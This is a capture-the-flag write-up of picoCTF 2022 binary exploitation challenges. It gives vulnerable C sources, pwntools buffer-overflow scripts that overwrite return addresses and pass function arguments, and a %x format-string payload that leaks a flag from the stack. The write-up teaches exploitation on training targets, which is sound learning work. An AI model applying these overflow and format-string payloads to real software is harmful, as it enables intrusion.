My picoCTF 2022 writeups are broken up into the following sections,
1. Forensics (Solved 13/13)
2. Cryptography (Solved 11/15)
3. Binary Exploitation (Solved 5/14)
4. Reverse Engineering (Solved 2/12)
5. Web Exploitation (Solved 2/12)
All my writeups can also be found on my GitHub's CTFwriteups repository
The Binary Exploitation challenges I solved in picoCTF 2022 are the following,
Table of Contents
All my writeups can also be found on my GitHub's CTFwriteups repository
CVE-XXXX-XXXX
The challenge is the following,
So I looked up remote code execution windows print spooler 2021
on Google, and found a site from Microsoft that listed vulnerabilities.
I saw that this was the first recorded remote code execution vulnerability in 2021 in the Windows Print Spooler Service, so I knew CVE-2021-34527
was the CVE I was looking for.
Therefore, the flag is,
picoCTF{CVE-2021-34527}
buffer overflow 0
The challenge is the following,
We are also given the executable file vuln and its source code vuln.c,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <signal.h>
5.
6. #define FLAGSIZE_MAX 64
7.
8. char flag[FLAGSIZE_MAX];
9.
10. void sigsegv_handler(int sig) {
11. printf("%s\n", flag);
12. fflush(stdout);
13. exit(1);
14. }
15.
16. void vuln(char *input){
17. char buf2[16];
18. strcpy(buf2, input);
19. }
20.
21. int main(int argc, char **argv){
22.
23. FILE *f = fopen("flag.txt","r");
24. if (f == NULL) {
25. printf("%s %s", "Please create 'flag.txt' in this directory with your",
26. "own debugging flag.\n");
27. exit(0);
28. }
29.
30. fgets(flag,FLAGSIZE_MAX,f);
31. signal(SIGSEGV, sigsegv_handler); // Set up signal handler
32.
33. gid_t gid = getegid();
34. setresgid(gid, gid, gid);
35.
36.
37. printf("Input: ");
38. fflush(stdout);
39. char buf1[100];
40. gets(buf1);
41. vuln(buf1);
42. printf("The program will exit now\n");
43. return 0;
44. }
I saw that gets(buf1)
in line 40 is used to read the user input, which does not check for the overflow, and is inputted to vuln(buf1)
in line 41.
I saw that the buf2[16]
buffer in line 17 in vuln()
can be overflowed with 20 bytes into the code that reads flag.txt
starting from line 23, so I prepared 20 A
,
AAAAAAAAAAAAAAAAAAAA
I connected to the remote server, and inputted 20 A
,
Therefore, the flag is,
picoCTF{ov3rfl0ws_ar3nt_that_bad_81929e72}
buffer overflow 1
The challenge is the following,
We are also given the executable file vuln and its source code vuln.c,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6. #include "asm.h"
7.
8. #define BUFSIZE 32
9. #define FLAGSIZE 64
10.
11. void win() {
12. char buf[FLAGSIZE];
13. FILE *f = fopen("flag.txt","r");
14. if (f == NULL) {
15. printf("%s %s", "Please create 'flag.txt' in this directory with your",
16. "own debugging flag.\n");
17. exit(0);
18. }
19.
20. fgets(buf,FLAGSIZE,f);
21. printf(buf);
22. }
23.
24. void vuln(){
25. char buf[BUFSIZE];
26. gets(buf);
27.
28. printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
29. }
30.
31. int main(int argc, char **argv){
32.
33. setvbuf(stdout, NULL, _IONBF, 0);
34.
35. gid_t gid = getegid();
36. setresgid(gid, gid, gid);
37.
38. puts("Please enter your string: ");
39. vuln();
40. return 0;
41. }
Here, gets()
is used in line 26, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win()
is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg
and used info functions
.
I saw that win()
was in 0x080491f6
, so this is the return address that I want to overwrite. I know that 44 bytes can be used to overflow the buffer and rewrite the return address, so I prepared the padding of 44 A
,
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I assumed that I needed to swap the endianness for the return address, so I used,
\xf6\x91\x04\x08
Then I put everything together into the following exploit.py,
from pwn import *
#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''
def start(server=True):
if(server):
return remote('saturn.picoctf.net', 53520)
else:
return process(['./vuln'])
io = start()
#io.recvuntil(">>")
a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
a += "\xf6\x91\x04\x08"
io.sendline(a)
io.interactive()
I executed this script, which connected to the remote server and inputted the padding and return address,
Therefore, the flag is,
picoCTF{addr3ss3s_ar3_3asy_b9797671}
buffer overflow 2
The challenge is the following,
We are also given the executable file vuln and its source code vuln.c,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6.
7. #define BUFSIZE 100
8. #define FLAGSIZE 64
9.
10. void win(unsigned int arg1, unsigned int arg2) {
11. char buf[FLAGSIZE];
12. FILE *f = fopen("flag.txt","r");
13. if (f == NULL) {
14. printf("%s %s", "Please create 'flag.txt' in this directory with your",
15. "own debugging flag.\n");
16. exit(0);
17. }
18.
19. fgets(buf,FLAGSIZE,f);
20. if (arg1 != 0xCAFEF00D)
21. return;
22. if (arg2 != 0xF00DF00D)
23. return;
24. printf(buf);
25. }
26.
27. void vuln(){
28. char buf[BUFSIZE];
29. gets(buf);
30. puts(buf);
31. }
32.
33. int main(int argc, char **argv){
34.
35. setvbuf(stdout, NULL, _IONBF, 0);
36.
37. gid_t gid = getegid();
38. setresgid(gid, gid, gid);
39.
40. puts("Please enter your string: ");
41. vuln();
42. return 0;
43. }
Here, gets()
is used in line 29, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win()
is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg
and used info functions
like in buffer overflow 1.
I saw that win()
was in 0x08049296
, so this is the return address that I want to jump to. However, unlike buffer overflow 1, I had to also pass arguments 0xCAFEF00D
and 0xF00DF00D
to the win()
function, as lines 20 and 22 checks for these.
Here, I saw that the buffer in line 28 can be overflowed with 112 bytes to rewrite the return address, so I prepared 112 A
,
a = 'A' * 112
And I want to jump to the address 0x08049296
so I swapped the endian,
a += "\x96\x92\x04\x08"
I needed the input parameters to win()
to be 0xCAFEF00D
and 0xF00DF00D
, so I first prepared a padding of 4 bytes,
a += "CCCC"
Then I prepared 0xCAFEF00D
by swapping the endian,
a += "\x0d\xf0\xfe\xca"
Then I prepared 0xF00DF00D
by swapping the endian,
a += "\x0d\xf0\x0d\xf0"
I put everything together into the following exploit2.py,
from pwn import *
#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''
def start(server=True):
if(server):
return remote('saturn.picoctf.net', 52578)
else:
return process(['./vuln'])
io = start()
#io.recvuntil(">>")
a = 'A' * 112
a += "\x96\x92\x04\x08"
a += "CCCC"
a += "\x0d\xf0\xfe\xca"
a += "\x0d\xf0\x0d\xf0"
io.sendline(a)
io.interactive()
I executed the script and passed the inputs to the remote server,
Therefore, the flag is,
picoCTF{argum3nt5_4_d4yZ_eb489c7a}
flag leak
The challenge is the following,
We are also given the executable file vuln and its source code vuln.c,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6. #include <wchar.h>
7. #include <locale.h>
8.
9. #define BUFSIZE 64
10. #define FLAGSIZE 64
11.
12. void readflag(char* buf, size_t len) {
13. FILE *f = fopen("flag.txt","r");
14. if (f == NULL) {
15. printf("%s %s", "Please create 'flag.txt' in this directory with your",
16. "own debugging flag.\n");
17. exit(0);
18. }
19.
20. fgets(buf,len,f); // size bound read
21. }
22.
23. void vuln(){
24. char flag[BUFSIZE];
25. char story[128];
26.
27. readflag(flag, FLAGSIZE);
28.
29. printf("Tell me a story and then I'll tell you one >> ");
30. scanf("%127s", story);
31. printf("Here's a story - \n");
32. printf(story);
33. printf("\n");
34. }
35.
36. int main(int argc, char **argv){
37.
38. setvbuf(stdout, NULL, _IONBF, 0);
39.
40. // Set the gid to the effective gid
41. // this prevents /bin/sh from dropping the privileges
42. gid_t gid = getegid();
43. setresgid(gid, gid, gid);
44. vuln();
45. return 0;
46. }
47.
This problem is similar to a picoGYM challenge I did some time ago. I saw that line 30 scanf("%127s", story)
has a format string vulnerability, where the memory can be leaked with %x
. So I went ahead and connected to the remote server and inputted %x
,
Which gave me ffee0140
, so I tried more,
And I tried even more,
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Which gave me,
fff2a990fff2a9b08049346782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578252578256f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738fbad2000556b29000f7f4a990804c00080494100804c000fff2aa7880494182fff2ab24fff2ab300fff2aa9000f7d40ee5
I saw that the following section might be ASCII,
6f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738
So I entered spaces between them,
6f 63 69 70 7b 46 54 43 6b 34 33 4c 5f 67 6e 31 67 34 6c 46 66 66 30 5f 34 74 53 5f 62 5f 6b 63 65 30 34 38 7d 39 37 38
And I went to CyberChef to convert it from hex,
This looked like the flag, but was scrambled up. So I assumed that I had to swap the endianness,
Therefore, the flag is,
picoCTF{L34k1ng_Fl4g_0ff_St4ck_b840e879}
Oldest comments (0)